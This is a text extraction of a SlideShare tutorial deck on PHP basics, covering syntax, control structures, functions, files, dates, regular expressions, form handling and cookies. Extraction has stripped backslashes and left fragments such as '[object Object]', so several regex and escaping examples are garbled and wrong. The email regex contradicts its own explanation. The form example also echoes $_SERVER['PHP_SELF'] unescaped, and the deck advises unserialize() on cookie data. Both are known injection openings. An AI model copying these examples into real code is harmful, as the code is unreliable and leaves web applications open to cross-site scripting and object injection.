SlideShare ist ein Scribd-Unternehmen logo
1 von 354
PHP: The Basics
What is it? PHP is a scripting language commonly used on web servers. Stands for “PHP: Hypertext Preprocessor” Open source Embedded code Comparable with ASP Multiple operating systems/web servers
The PHP Resource www.php.net
What can it do? Dynamic generation of web-page content Database interaction Processing of user supplied data Email File handling Text processing Network interaction And more…
Fundamentals PHP is embedded within xhtml pages within the tags: <?php  …  ?> The short version of these tags can also be used: <? …  ?> Each line of PHP is terminated, like MySQL, with a semi-colon.
Hello World! <html>  <head>  <title>PHP Test</title>  </head>  <body>  <?phpecho ‘<p>Hello World!</p>’;?> </body>  </html>
Preparing to code with PHP
Literals.. All strings must be enclosed in single of double quotes: ‘Hello’ or “Hello”. Numbers are not in enclosed in quotes: 1 or 45 or 34.564 Booleans (true/flase) can be written directly as true or false.
Comments 	// This is a comment 	# This is also a comment 	/* This is a commentthat is spread overmultiple lines */ Do not nest multi-line comments // recommended over #
Comments <?php // this is a comment echo ‘Hello World!’; /* another      multi-line comment */ ?>
Displaying Data There are two language constructs available to display data: print() and echo(). They can be used with or without brackets. Note that the data ‘displayed’ by PHP is actually parsed by your browser as HTML. View source to see actual output.
Displaying data <?php echo ‘Hello World!<br />’; echo(‘Hello World!<br />’); print ‘Hello World!<br />’; print(‘Hello World!<br />’); ?>
Escaping Characters Some characters are considered ‘special’ Escape these with a backslash br />Special characters will be flagged when they arise, for example a double or single quote belong in this group…
Escaping Characters <?php // Claire O’Reilly said “Hello”. echo ‘Claire OReilly ’; echo “said Hello.”;  ?>
Variables: What are they? When we work in PHP, we often need a labelled place to store a value (be it a string, number, whatever) so we can use it in multiple places in our script. These labelled ‘places’ are called  VARIABLES
Variables: Naming $ followed by variable name Case sensitive $variable differs from $Variable Stick to lower-case to be sure! Name must started with a letter or an underscore Followed by any number of letters, numbers and underscores
Variables: example <?php $name = ‘Phil’; $age  = 23; echo $name; echo ’ is ‘; echo $age; // Phil is 23 ?>
Constants Constants (unchangeable variables) can also be defined. Each constant is given a name (note no preceding dollar is applied here). By convention, constant names are usually in UPPERCASE.
Constants <?php define(‘NAME’,‘Phil’); define(‘AGE’,23); echo NAME; echo ’ is ‘; echo AGE; // Phil is 23 ?>
“ or ‘ ? There is a difference between strings written in single and double quotes. In a double-quoted string any variable names are expanded to their values. In a single-quoted string, no variable expansion takes place.
“ or ‘ ? <?php $name = ‘Phil’; $age  = 23; echo “$name is $age”; // Phil is 23 ?>
“ or ‘ ? <?php $name = ‘Phil’; $age  = 23; echo ‘$name is $age’; // $name is $age ?>
Review We’ve started PHP.. Escaping XHTML Comments Basic Syntax Variables Constants
PHP: Moving On..
Expressions and Operators
Reminder PHP is embedded within xhtml pages within the tags: <?php  …  ?> The short version of these tags can also be used: <? …  ?> Each line of PHP is terminated, like MySQL, with a semi-colon.
Reminder Variables are automatically initialised when you start to use them. e.g.    <?php 	$name = ‘Rob’; echo $name; ?>
Expressions Using variables within expressions to do something is what PHP is all about. 	<?php 	$name = ‘Rob’; echo $name; ?> Expression Operator
Some Types of Operator ,[object Object]
Logical
StringArithmetic Assignment Bitwise Comparison Ternary
String Operators Use a dot to concatenate two strings: e.g. 	$firstname = ‘Rob’; 	$surname = ‘Tuley’; // displays ‘Rob Tuley’ echo $firstname.’ ‘.$surname;
Arithmetic Operators
Assignment Operators
Combining Operators Note that you can combine operators, for example use =, + and / in one expression: 	$a = 4; 	$b = 2; 	$c = $a + $b + ($a/$b); // $c has value 4+2+(4/2) = 8 Brackets help group operators.
Comparison Operators
Comparisons Comparison expressions return a value of TRUE (or ‘1’) or FALSE (or ‘0’).  e.g. 	$a = 10; 	$b = 13; // result is true (‘1’)  echo $a < $b;
Incrementing/Decrementing
Logical Operators
Finally, a tricky one! A single ? is the ternary operator. (expr) ? if_expr_true : if_expr_false; A test expression evaluates to TRUE or FALSE.  TRUE gives first result (before colon) FALSE gives second result (after colon)
Ternary Operator example <?php $a = 10; $b = 13; echo $a<$b ? ‘a smaller’:‘b smaller’; // string ‘a smaller’ is echoed  // to the browser.. ?>
Groups of variables So far, we have stored ONE piece of data in each variable.  It is also possible to store multiple pieces of data in ONE variable by using an array. Each piece of data in an array has a key..
An array Normal Variable, no key: $name = ‘Rob’; Array Variable, multiple pieces with ‘keys’: $name[0] = ‘Rob’; 		$name[1] = ‘Si’; 		$name[2] = ‘Sarah’; 		… The ‘key’
Array keys Array keys can be strings as well as numbers.. 	$surname[‘rob’] = ‘Tuley’; 	$surname[‘si’] = ‘Lewis’; Notice the way that the key is specified, in square brackets following the variable name.
Working with arrays.. Create Array (automatic keys): $letters = array('a','b','c','d'); The array keys are automatically assigned by PHP as 0, 1, 2, 3 i.e. $letters[1] has value‘b’ Create Array (explicit keys): 	$letters = array(10=>’a’,13=>’b’); 	i.e. $letters[13] has value‘b’
Working with arrays… Create array (component by component): 	$letters[10] = ‘a’; 	$letters[13] = ‘b’; Access array component: echo $letters[10]; 	// displays a 	echo $letters[10].$letters[13]; 	// displays ab
Working with arrays… Note that trying to echo an entire array will not display the data. To print an entire array to screen (for debug, for example) use the function print_r instead. 	echo $letters; 	print_r($letters);
So.. We know we can: Store things in named variables. Use expressions to operate on the contents of these variables. Can compare variables.. 	How do we actually include logic in the code such as ‘if this is bigger than that, do this’?
Control Structures if, elseif, else while, do … while for, foreach switch break, continue, return require, include, require_once, include_once
If … To do something depending on a comparison, use an if statement. if (comparison) { expressions; // do if TRUE 	} NB: Notice the curly brackets – these are important!
If example <?php 	$a = 10; 	$b = 13; if ($a<$b) { echo‘a is smaller than b’; 	} ?>
Extending IF statements It is possible to add extra optional clauses to if statements.. 	if (comparison) { expressions; // do if TRUE 	} else { expressions; // do otherwise 	}
Extending If statements 	if (comparison1) { expressions; 	} elseif (comparison2) { expressions;  	} else { 		expressions; 	}
An example.. $a = 10; $b = 13; if ($a<$b) { echo‘a is smaller than b’; } elseif ($a==$b) { echo‘a is equal to b’; } else { echo‘a is bigger than b’; }
While loops Might want to do something repeatedly while a comparison is true.. while (comparison) {expressions; 	}
Example Lets count to 10! Displays 1,2,3,4,5,..,10: $i = 1; while ($i <= 10) {   echo $i++;  }
Do .. While An alternative...  $i = 1; do {   echo $i++;  } while ($i <= 10);
For loop Sometimes we want to loop around the same bit of code a number of times.. Use a for loop. for (expr1; expr2; expr3) { statements; } expr1 evaluated/executed initially expr2 evaluated at beginning of each iteration (Continues if TRUE) expr3 evaluated/executed at end of each iteration
For loop example To count from 1 to 10: for ($i=1; $i<=10; $i++) { echo $i; 	} Continue if true initialise Execute at end of loop
Foreach loop A foreach loop is designed for arrays. Often you want to loop through each item in an array in turn.. 	$letters = array(‘a’,’b’,’c’); 	foreach ($letters as $value) {   echo $value;  	} // outputs a,b,c in turn
Foreach.. With keys Sometimes we want to use the array ‘key’ value too: $letters = array(‘a’,’b’,’c’); 	foreach ($letters as $key => $value) {   echo“array $key to $value”;  	}
Switch statement switch (expr) { case (result1): statements; break; case (result2): statements; break; default: statements; } ,[object Object]
Case corresponding to result is executed
Otherwise default case is executed
break
Ensures next case isn’t executed,[object Object]
break, continue, return break Ends execution of current for, foreach, do … while, while or switch structure Option: Number of nested structures to break out of continue Skip rest of current loop Option: Number of nested loops to skip return Ends execution of current function/statement/script
Indentation.. Code readability IS important – notice how all the code inside a loop/control structure is indented. Once you start writing nested control loops, indentation is the only way to keep track of your code!
require, include require('filename.ext') Includes and evaluates the specified file Error is fatal (will halt processing) include('filename.ext') Includes and evaluates the specified file Error is a warning (processing continues) require_once/ include_once If already included won’t be included again
Code Re-use Often you will want to write a piece of code and re-use it several times (maybe within the same script, or maybe between different scripts). Functions are a very nice way to encapsulate such pieces of code..
Eh..? What? You have already used functions.. echo(‘text to display’); Function NAME Function ARGUMENT
What is a function? A function takes some arguments (inputs) and does something with them (echo, for example, outputs the text input to the user). As well as the inbuilt PHP functions, we can define our own functions..
Definition vs. Calling There are two distinct aspects to functions: Definition: Before using a function, that function must be defined – i.e. what inputs does it need, and what does it do with them? Calling: When you call a function, you actually execute the code in the function.
Function Definition A function accepts any number of input arguments, and returns a SINGLE value. functionmyfunction($arg1,$arg2,…,$argN) { statements; return $return_value; }
Example Function to join first and last names together with a space.. function make_name($first,$last)  { $fullname = $first.’ ‘.$last; return $fullname; }
Calling functions.. Can be done anywhere.. myfunction($arg1,$arg2,…,$argN) or $answer = myfunction($arg1,$arg2,…,$argN) e.g. echo make_name(‘Rob’,’Tuley’); // echoes ‘Rob Tuley’
Functions: Return Values Use return() Causes execution of function to cease Control returns to calling script To return multiple values Return an array If no value returned NULL
‘Scope’ A function executes within its own little protected bubble, or local scope. What does this mean? Its means that the function can’t ‘see’ any of the variables you have defined apart from those passed in as arguments.. Each new function call starts a clean slate in terms of internal function variables.
In other words.. Variables within a function Are local to that function Disappear when function execution ends Variables outside a function Are not available within the function Unless set as global Remembering variables Not stored between function calls Unless set as static
Global variables.. To access a variable outside the ‘local’ scope of a function, declare it as a global: function add5toa() { 	global $a; 	$a = $a  + 5; }  $a = 9; add5toa(); echo $a; // 14
Static Variables Local function variable values are not saved between function calls unless they are declared as static: function counter() { 	static $num = 0; return ++$num; }  echo counter(); // 1 echo counter(); // 2 echo counter(); // 3
Default Arguments Can specify a default value in the function definition which is used only if no value is passed to the function when called.. Defaults must be specified last in the list function myfunction($arg1,$arg2=‘blah’)… function myfunction($arg1=‘blah’,$arg2)…
Passing References Pass a reference to a variable Not the actual variable Why? Enables a function to modify its arguments How? Use an ampersand in front of the variable &$variable
Review More PHP! Expressions Operators Control Structures Functions
File Handling with PHP
Files and PHP File Handling Data Storage Though slower than a database Manipulating uploaded files From forms Creating Files for download
Open/Close a File A file is opened with fopen() as a “stream”, and PHP returns a ‘handle’ to the file that can be used to reference the open file in other functions. Each file is opened in a particular mode. A file is closed with fclose() or when your script ends.
File Open Modes
File Open/Close Example <?php // open file to read $toread = fopen(‘some/file.ext’,’r’); // open (possibly new) file to write $towrite = fopen(‘some/file.ext’,’w’); // close both files fclose($toread); fclose($towrite); ?>
Now what..? If you open a file to read, you can use more in-built PHP functions to read data.. If you open the file to write, you can use more in-built PHP functions to write..
Reading Data There are two main functions to read data: fgets($handle,$bytes) Reads up to $bytes of data, stops at newline or end of file (EOF) fread($handle,$bytes) Reads up to $bytes of data, stops at EOF.
Reading Data We need to be aware of the End Of File (EOF) point.. feof($handle) Whether the file has reached the EOF point. Returns true if have reached EOF.
Data Reading Example 		$handle = fopen('people.txt', 'r'); 		while (!feof($handle)) { 			echo fgets($handle, 1024); 			echo '<br />'; 			} fclose($handle);
Data Reading Example 		$handle = fopen('people.txt', 'r'); 		while (!feof($handle)) { 			echo fgets($handle, 1024); 			echo '<br />'; 			} fclose($handle); $handle = fopen('people.txt', 'r'); Open the file and assign the resource to $handle
Data Reading Example 		$handle = fopen('people.txt', 'r'); 		while (!feof($handle)) { 			echo fgets($handle, 1024); 			echo '<br />'; 			} fclose($handle); while (!feof($handle)) { 	echo fgets($handle, 1024); 	echo '<br />'; 	} While NOT at the end of the file, pointed to by $handle, get and echo the data line by line
Data Reading Example 		$handle = fopen('people.txt', 'r'); 		while (!feof($handle)) { 			echo fgets($handle, 1024); 			echo '<br />'; 			} fclose($handle); Close the file fclose($handle);
File Open shortcuts.. There are two ‘shortcut’ functions that don’t require a file to be opened: $lines = file($filename) Reads entire file into an array with each line a separate entry in the array. $str = file_get_contents($filename) Reads entire file into a single string.
Writing Data To write data to a file use: fwrite($handle,$data) Write $data to the file.
Data Writing Example 		$handle = fopen('people.txt', 'a'); fwrite($handle, “Fred:Male”); fclose($handle);
Data Writing Example 		$handle = fopen('people.txt', 'a'); fwrite($handle, 'Fred:Male'); fclose($handle); Open file to append data (mode 'a')  $handle = fopen('people.txt', 'a'); fwrite($handle, “Fred:Male”); Write new data (with line break after previous data)
Other File Operations Delete file unlink('filename'); Rename (file or directory) rename('old name', 'new name'); Copy file copy('source', 'destination'); And many, many more! www.php.net/manual/en/ref.filesystem.php
Dealing With Directories Open a directory $handle = opendir('dirname'); $handle 'points' to the directory Read contents of directory readdir($handle) Returns name of next file in directory Files are sorted as on filesystem Close a directory closedir($handle) Closes directory 'stream'
Directory Example 	$handle = opendir('./'); while(false !== ($file=readdir($handle))) 		{ echo"$file<br />"; 		} closedir($handle);
Directory Example 	$handle = opendir('./'); while(false !== ($file=readdir($handle))) 		{ echo"$file<br />"; 		} closedir($handle); $handle = opendir('./'); Open current directory
Directory Example 	$handle = opendir('./'); while(false !== ($file=readdir($handle))) 		{ echo"$file<br />"; 		} closedir($handle); while(false !== ($file=readdir($handle))) 	{ echo"$file<br />"; 	} Whilst readdir() returns a name, loop through directory contents, echoing results
Directory Example 	$handle = opendir('./'); while(false !== ($file=readdir($handle))) 		{ echo"$file<br />"; 		} closedir($handle); closedir($handle); Close the directory stream
Other Directory Operations Get current directory getcwd() Change Directory chdir('dirname'); Create directory mkdir('dirname'); Delete directory (MUST be empty) rmdir('dirname'); And more! www.php.net/manual/en/ref.dir.php
Review Can open and close files. Can read a file line by line or all at one go. Can write to files. Can open and cycle through the files in a directory.
Date Manipulation
Unix Epoch..? The easiest way to handle dates in PHP is using UNIX timestamps. A UNIX timestamp is the number of seconds since the UNIX Epoch. The Epoch is 1st Jan 1970 00:00 GMT.
Get current time Use the time() function to get current or relative time. <?php $now = time(); $nextWeek = time() + (7 * 24 * 60 * 60);    // 7 days; 24 hours; 60 mins; 60secs ?>
Display a time.. To display a time use the date() function along with a format string. <?php $nextWeek = time() + (7*24*60*60); echo‘Next week: ‘; echo date(‘d-m-Y’,$nextWeek).’<br />’; ?> Format strings: http://php.net/manual/en/function.date.php
String to timestamp To convert a string to date, use strtotime() <?php echo strtotime("now"); echo strtotime("10 September 2000"); echo strtotime("+1 day"); echo strtotime("+1 week"); echo strtotime("next Thursday"); echo strtotime("last Monday"); ?>
String to timestamp Note that strtotime() assume a US date format on string such as mm/dd/yyyy, so some modifications may be required.
What about dates before 1970? Negative timestamps are not consistently supported in PHP.  Therefore we cannot use timestamps when using dates that might be before 1970.
The full information.. http://php.net/manual/en/ref.datetime.php 	We have looked at a sub-selection of this information. If you want to do something with dates.. This is the place to start looking.
Review Know what an integer UNIX date is. Can manipulate dates in PHP: creating, displaying, parsing from string data.
Data Manipulation & Regex
What..? Often in PHP we have to get data from files, or maybe through forms from a user. Before acting on the data, we: Need to put it in the format we require. Check that the data is actually valid.
What..? To achieve this, we need to learn about PHP functions that check values, and manipulate data. Input PHP functions. Regular Expressions (Regex).
PHP Functions There are a lot of useful PHP functions to manipulate data.  We’re not going to look at them all – we’re not even going to look at most of them… http://php.net/manual/en/ref.strings.php http://php.net/manual/en/ref.ctype.php http://php.net/manual/en/ref.datetime.php
Useful Functions: splitting Often we need to split data into multiple pieces based on a particular character. Use explode(). // expand user supplied date.. $input = ‘1/12/2007’; $bits  = explode(‘/’,$input); // array(0=>1,1=>12,2=>2007)
Useful functions: trimming Removing excess whitespace.. Use trim() // a user supplied name.. $input = ‘   Rob    ’; $name  = trim($input); // ‘Rob’
Useful functions: string replace To replace all occurrences of a string in another string use str_replace() // allow user to user a number     of date separators $input  = ’01.12-2007’; $clean  = str_replace(array(‘.’,’-’),                       ‘/’,$input); // 01/12/2007
Useful functions: cAsE To make a string all uppercase use strtoupper(). To make a string all uppercase use strtolower(). To make just the first letter upper case use ucfirst(). To make the first letter of each word in a string uppercase use ucwords().
Useful functions: html sanitise To make a string “safe” to output as html use htmlentities() // user entered comment $input  = ’The <a> tag & ..’; $clean  = htmlentities($input); // ‘The &lt;a&gt; tag &amp; ..’
More complicated checks.. It is usually possible to use a combination of various built-in PHP functions to achieve what you want. However, sometimes things get more complicated. When this happens, we turn to Regular Expressions.
Regular Expressions Regular expressions are a concise (but obtuse!) way of pattern matching within a string. There are different flavours of regular expression (PERL & POSIX), but we will just look at the faster and more powerful version (PERL).
Some definitions ‘rob@example.com’ '/^[a-z_-]+@([a-z-]+)+[a-z]{2,6}$/i‘ preg_match(), preg_replace() Actual data that we are going to work upon (e.g. an email address string) Definition of the string pattern (the ‘Regular Expression’). PHP functions to do something with data and regular expression.
Regular Expressions '/^[a-z_-]+@([a-z-]+)+[a-z]{2,6}$/i‘ Are complicated! They are a definition of a pattern. Usually used to validate or extract data from a string.
Regex: Delimiters  The regex definition is always bracketed by delimiters, usually a ‘/’: 	$regex = ’/php/’; 	Matches: ‘php’, ’I love php’ 	Doesn’t match: ‘PHP’ ‘I love ph’
Regex: First impressions  Note how the regular expression matches anywhere in the string: the whole regular expression has to be matched, but the whole data string doesn’t have to be used. It is a case-sensitive comparison.
Regex: Case insensitive  Extra switches can be added after the last delimiter. The only switch we will use is the ‘i’ switch to make comparison case insensitive: 	$regex = ’/php/i’; 	Matches: ‘php’, ’I love pHp’, 	         ‘PHP’ 	Doesn’t match: ‘I love ph’
Regex: Character groups  A regex is matched character-by-character. You can specify multiple options for a character using square brackets: 	$regex = ’/p[hu]p/’; 	Matches: ‘php’, ’pup’ 	Doesn’t match: ‘phup’, ‘pop’, 	               ‘PHP’
Regex: Character groups  You can also specify a digit or alphabetical range in square brackets: 	$regex = ’/p[a-z1-3]p/’; 	Matches: ‘php’, ’pup’, 	         ‘pap’, ‘pop’, ‘p3p’ 	Doesn’t match: ‘PHP’, ‘p5p’
Regex: Predefined Classes There are a number of pre-defined classes available:
Regex: Predefined classes  	$regex = ’/pp/’; 	Matches: ‘p3p’, ’p7p’, 	Doesn’t match: ‘p10p’, ‘P7p’ 	$regex = ’/pp/’; 	Matches: ‘p3p’, ’pHp’, ’pop’ 	Doesn’t match: ‘phhp’
Regex: the Dot  The special dot character matches anything apart from line breaks: 	$regex = ’/p.p/’; 	Matches: ‘php’, ’p&p’, 	         ‘p(p’, ‘p3p’, ‘p$p’ 	Doesn’t match: ‘PHP’, ‘phhp’
Regex: Repetition There are a number of special characters that indicate the character group may be repeated:
Regex: Repetition  	$regex = ’/ph?p/’; 	Matches: ‘pp’, ’php’, 	Doesn’t match: ‘phhp’, ‘pap’ 	$regex = ’/ph*p/’; 	Matches: ‘pp’, ’php’, ’phhhhp’ 	Doesn’t match: ‘pop’, ’phhohp’
Regex: Repetition  	$regex = ’/ph+p/’; 	Matches: ‘php’, ’phhhhp’, 	Doesn’t match: ‘pp’, ‘phyhp’ 	$regex = ’/ph{1,3}p/’; 	Matches: ‘php’, ’phhhp’ 	Doesn’t match: ‘pp’, ’phhhhp’
Regex: Bracketed repetition  The repetition operators can be used on bracketed expressions to repeat multiple characters: 	$regex = ’/(php)+/’; 	Matches: ‘php’, ’phpphp’, 	         ‘phpphpphp’ 	Doesn’t match: ‘ph’, ‘popph’ Will it match ‘phpph’?
Regex: Anchors So far, we have matched anywhere within a string (either the entire data string or part of it). We can change this behaviour by using anchors:
Regex: Anchors  With NO anchors: 	$regex = ’/php/’; 	Matches: ‘php’, ’php is great’, 	         ‘in php we..’ 	Doesn’t match: ‘pop’
Regex: Anchors  With start and end anchors: 	$regex = ’/^php$/’; 	Matches: ‘php’,  	Doesn’t match: ’php is great’, 	         ‘in php we..’, ‘pop’
Regex: Escape special characters We have seen that characters such as ?,.,$,*,+ have a special meaning. If we want to actually use them as a literal, we need to escape them with a backslash. 	$regex = ’/pp/’; 	Matches: ‘p.p’ 	Doesn’t match: ‘php’, ‘p1p’
So.. An example Lets define a regex that matches an email: $emailRegex ='/^[a-z_-]+@([a-z-]+)+[a-z]{2,6}$/i‘; 	Matches: ‘rob@example.com’, 	         ‘rob@subdomain.example.com’ 	         ‘a_n_other@example.co.uk’ 	Doesn’t match: ‘rob@exam@ple.com’ 	               ‘not.an.email.com’
So.. An example /^ [a-z_-]+ @ ([a-z-]+)+ [a-z]{2,6} $/i Starting delimiter, and start-of-string anchor User name – allow any length of letters, numbers, dots, underscore or dashes The @ separator Domain (letters, digits or dash only). Repetition to include subdomains. com,uk,info,etc. End anchor, end delimiter, case insensitive
Phew.. So we now know how to define regular expressions. Further explanation can be found at: http://www.regular-expressions.info/ We still need to know how to use them!
Boolean Matching We can use the function preg_match() to test whether a string matches or not. // match an email $input = ‘rob@example.com’; if (preg_match($emailRegex,$input) { echo‘Is a valid email’; } else { echo‘NOT a valid email’; }
Pattern replacement We can use the function preg_replace() to replace any matching strings. // strip any multiple spaces $input = ‘Some     comment string’; $regex = ‘/+/’; $clean = preg_replace($regex,’ ‘,$input); // ‘Some comment string’
Sub-references We’re not quite finished: we need to master the concept of sub-references.  Any bracketed expression in a regular expression is regarded as a sub-reference. You use it to extract the bits of data you want from a regular expression.  Easiest with an example..
Sub-reference example: I start with a date string in a particular format: $str = ’10, April 2007’; The regex that matches this is: $regex = ‘/+,++/’; If I want to extract the bits of data I bracket the relevant bits: $regex = ‘/(+),(+)(+)/’;
Extracting data.. I then pass in an extra argument to the function preg_match(): 	$str = ’The date is 10, April 2007’; $regex = ‘/(+),(+)(+)/’; preg_match($regex,$str,$matches); 	// $matches[0] = ‘10, April 2007’ 	// $matches[1] = 10 	// $matches[2] = April 	// $matches[3] = 2007
Back-references This technique can also be used to reference the original text during replacements with $1,$2,etc. in the replacement string: 	$str = ’The date is 10, April 2007’; $regex = ‘/(+),(+)(+)/’; 	$str = preg_replace($regex, ’$1-$2-$3’, 	                    $str); 	// $str = ’The date is 10-April-2007’
Phew Again! We now know how to define regular expressions. We now also know how to use them: matching, replacement, data extraction.
Forms(Getting data from users)
Forms: how they work  We need to know.. How forms work. How to write forms in XHTML.  How to access the data in PHP.
How forms work User requests a particular URL XHTML Page supplied with Form User fills in form and submits.  Another URL is requested and the Form data is sent to this page either in URL or as a separate piece of data. User Web Server XHTML Response
XHTML Form The form is enclosed in form tags.. <form action=“path/to/submit/page” 	method=“get”> <!–- form contents --> </form>
Form tags action=“…” is the page that the form should submit its data to. method=“…” is the method by which the form data is submitted. The option are either get or post. If the method is get the data is passed in the url string, if the method is post it is passed as a separate file.
Form fields: text input Use a text input within form tags for a single line freeform text input. <label for=“fn">First Name</label> <input type="text"         name="firstname"        id=“fn"         size="20"/>
Form tags name=“…” is the name of the field. You will use this name in PHP to access the data. id=“…” is label reference string – this should be the same as that referenced in the <label> tag. size=“…” is the length of the displayed text box (number of characters).
Form fields: password input Use a starred text input for passwords. <label for=“pw">Password</label> <input type=“password"         name=“passwd"        id=“pw"         size="20"/>
Form fields: text input If you need more than 1 line to enter data, use a textarea. <label for="desc">Description</label> <textarea name=“description”           id=“desc“           rows=“10” cols=“30”> Default text goes here… </textarea>
Form fields: text area name=“…” is the name of the field. You will use this name in PHP to access the data. id=“…” is label reference string – this should be the same as that referenced in the <label> tag. rows=“…” cols=“..” is the size of the displayed text box.
Form fields: drop down <label for="tn">Where do you live?</label> <select name="town" id="tn"> <option value="swindon">Swindon</option> <option value="london”          selected="selected">London</option> <option value=“bristol">Bristol</option> </select>
Form fields: drop down name=“…” is the name of the field.  id=“…” is label reference string. <option value=“…” is the actual data sent back to PHP if the option is selected. <option>…</option> is the value displayed to the user. selected=“selected” this option is selected by default.
Form fields: radio buttons <input type="radio"  		name="age" 		id="u30“ 		checked=“checked” 		value="Under30" /> <label for="u30">Under 30</label> <br /> <input type="radio" 		name="age" 		id="thirty40" 		value="30to40" /> <label for="thirty40">30 to 40</label>
Form fields: radio buttons name=“…” is the name of the field. All radio boxes with the same name are grouped with only one selectable at a time. id=“…” is label reference string. value=“…” is the actual data sent back to PHP if the option is selected. checked=“checked” this option is selected by default.
Form fields: check boxes What colours do you like?<br /> <input type="checkbox" 		name="colour[]" 		id="r" 		checked="checked" 		value="red" /> <label for="r">Red</label> <br /> <input type="checkbox" 		name="colour[]"  		id="b" 		value="blue" /> <label for="b">Blue</label>
Form fields: check boxes name=“…” is the name of the field. Multiple checkboxes can be selected, so if the button are given the same name, they will overwrite previous values. The exception is if the name is given with square brackets – an array is returned to PHP. id=“…” is label reference string. value=“…” is the actual data sent back to PHP if the option is selected. checked=“checked” this option is selected by default.
Hidden Fields <input type="hidden"  		name="hidden_value" 		value="My Hidden Value" /> name=“…” is the name of the field.  value=“…” is the actual data sent back to PHP.
Submit button.. A submit button for the form can be created with the code: <input type="submit"         name="submit"         value="Submit" />
Fieldset In XHTML 1.0, all inputs must be grouped within the form into fieldsets. These represent logical divisions through larger forms. For short forms, all inputs are contained in a single fieldset. <form> <fieldset> <input … /> <input … /> </fieldset> <fieldset> <input … /> <input … /> </fieldset> </form>
In PHP… The form variables are available to PHP in the page to which they have been submitted. The variables are available in two superglobal arrays created by PHP called $_POST and $_GET.
Access data Access submitted data in the relevant array for the submission type, using the input name as a key. <form action=“path/to/submit/page”            method=“get”> <input type=“text” name=“email”> </form> $email = $_GET[‘email’];
A warning..  NEVER TRUST USER INPUT Always check what has been input. Validation can be undertaken using Regular expressions or in-built PHP functions.
A useful tip.. I find that storing the validated data in a different array to the original useful. I often name this array ‘clean’ or something similarly intuitive. I then *only* work with the data in $clean, and never refer to $_POST/$_GET again.
Example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; }
Filter example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } $clean = array(); Initialise an array to store filtered data.
Filter example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } if (ctype_alnum($_POST['username'])) Inspect username to make sure that it is alphanumeric.
Filter example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } $clean['username'] = $_POST['username']; If it is, store it in the array.
Is it submitted? We also need to check before accessing data to see if the data is submitted, use isset() function. if (isset($_POST[‘username’])) { 	// perform validation }
Form Redisplaying
Eh? Now we know how to check whether or not user inputs conform to our rules… … we need to handle gracefully when they fail! User inputs come from forms, and we need to work out how to re-display forms on input validation failure.
What are we shooting for? Bullet-proof validation. On validation failure, form should be re-displayed to the user. Don’t make the user fill in fields again that they’ve already done correctly.  We want to have to write the form html only once. If validation fails, the user needs some feedback.
The One True Way? There are multiple ways to achieve this.. I am going to demonstrate ONE way, but you should be aware that it’s not the ONLY way.
Single Page Make the form submit to the same page.  Why? It keeps everything in one place, and means you only write the form once. <form action="<?phpecho$_SERVER['PHP_SELF']; ?>"       method="post"       …
Page Logic if (form has been submitted) { // validate form } if (valid submission) { // action data } else { // (re)display form }
Validation.. if (form has been submitted) { // validate form }     …can be implemented as… if (isset($_POST[‘submit’])) { // validate form }
Maintain separation Maintaining separation between validated and un-validated data helps prevent you make mistakes. $_POST             $clean UNSAFESAFE
Accumulate errors.. $errors = 0; $errmsg = ‘’; $clean  = array(); if (isset($_POST[‘submit’])) { if ($_POST[‘value’] is VALID) { 			$clean[‘value’] = $_POST[‘value’]; 		} else {        $errors++;        $errmsg .= ‘data not valid because…’; 		} // continue testing other fields.. }
Now to action or display.. if (form has been submitted) {     // validate form } if (valid submission) { // action data } else { // (re)display form }
Now to action or display.. if (isset($_POST[‘submit’])) &&      $errors===0) { // action data } else { // (re)display form }
Redisplay form (1) // if (re)displaying form: print // error message if redisplaying if ($error>0) { echo“<p>errors: $errmsg</p>"; }
Redisplay form (2) <label for=“email">Email:</label> <input name=“email"         size="40"         value="<?phpecho isset($clean[‘email']) ? htmlentities($clean[‘email']) :  ‘default'; ?>"         id=“email"         type="text“ />
Maintaining State in PHPPart I - Cookies
xHTML - a ‘stateless’ environment 	stateless 	(adj.) Having no information about what occurred previously.  Most modern applications maintain state, which means that they remember what you were doing last time you ran the application, and they remember all your configuration settings. This is extremely useful because it means you can mould the application to your working habits. Each request for a new web page is processed without any knowledge of previous pages requested or processed.
How do they do that? For example: 	A user ‘logs in’ to a web page. Once logged in, the user can browse the site while maintaining their logged in state.
Is PHP stateless? Variables are destroyed as soon as the page script finishes executing. The script can access the ‘referrer’, the address of the previous page, although this can’t really be trusted. $_SERVER['HTTP_REFERER'] It is possible to add data to a database/text file to add persistent data, although this is not connected with a particular user…
Is PHP Stateless… No! The usual way to maintain state in PHP pages is via the use of Sessions.  To understand how these work, we need to have a look at what and how cookies are..
What is a Cookie? A cookie is a small text file that is stored on a user’s computer. Each cookie on the user’s computer is connected to a particular domain. Each cookie be used to store up to 4kB of data. A maximum of 20 cookies can be stored on a user’s PC per domain.
Example (1) 1.  User sends a request for page at www.example.com for the first time. page request
Example (2) 2.  Server sends back the page xhtml to the browser AND stores some data in a cookie on the user’s PC. xhtml cookie data
Example (1) 3.  At the next page request for domain www.example.com, all cookie data associated with this domain is sent too. page request cookie data
Set a cookie setcookie(name [,value [,expire [,path [,domain [,secure]]]]]) name = cookie name value = data to store (string) expire = UNIX timestamp when the cookie expires. Default is that cookie expires when browser is closed. path = Path on the server within and below which the cookie is available on. domain = Domain at which the cookie is available for. secure = If cookie should be sent over HTTPS connection only. Default false.
Set a cookie - examples setcookie(‘name’,’Robert’) 	This command will set the cookie called name on theuser’s PC containing the data Robert. It will be available to all pages in the same directory or subdirectory of the page that set it (the default path and domain). It will expire and be deleted when the browser is closed (default expire).
Set a cookie - examples setcookie(‘age’,’20’,time()+60*60*24*30) 	This command will set the cookie called age on theuser’s PC containing the data 20. It will be available to all pages in the same directory or subdirectory of the page that set it (the default path and domain). It will expire and be deleted after 30 days.
Set a cookie - examples setcookie(‘gender’,’male’,0,’/’) 	This command will set the cookie called gender on theuser’s PC containing the data male. It will be available within the entire domain that set it. It will expire and be deleted when the browser is closed.
Read cookie data All cookie data is available through the superglobal $_COOKIE: $variable = $_COOKIE[‘cookie_name’] or $variable = $HTTP_COOKIE_VARS[‘cookie_name’]; e.g. $age = $_COOKIE[‘age’]
Storing an array.. Only strings can be stored in Cookie files. To store an array in a cookie, convert it to a string by using the serialize() PHP function.  The array can be reconstructed using the unserialize() function once it had been read back in. Remember cookie size is limited!
